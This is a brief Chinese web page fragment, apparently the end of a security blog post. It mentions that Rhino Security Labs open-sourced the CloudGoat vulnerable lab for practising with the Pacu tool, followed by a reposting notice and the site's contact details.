Rhino Security Labs也开源了CloudGoat漏洞环境,可以配置着Pacu练习。

[/wshop_paid]

本文来自投稿,不代表立场,如若转载,请注明出处:https://www.moonsec.com/1098.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息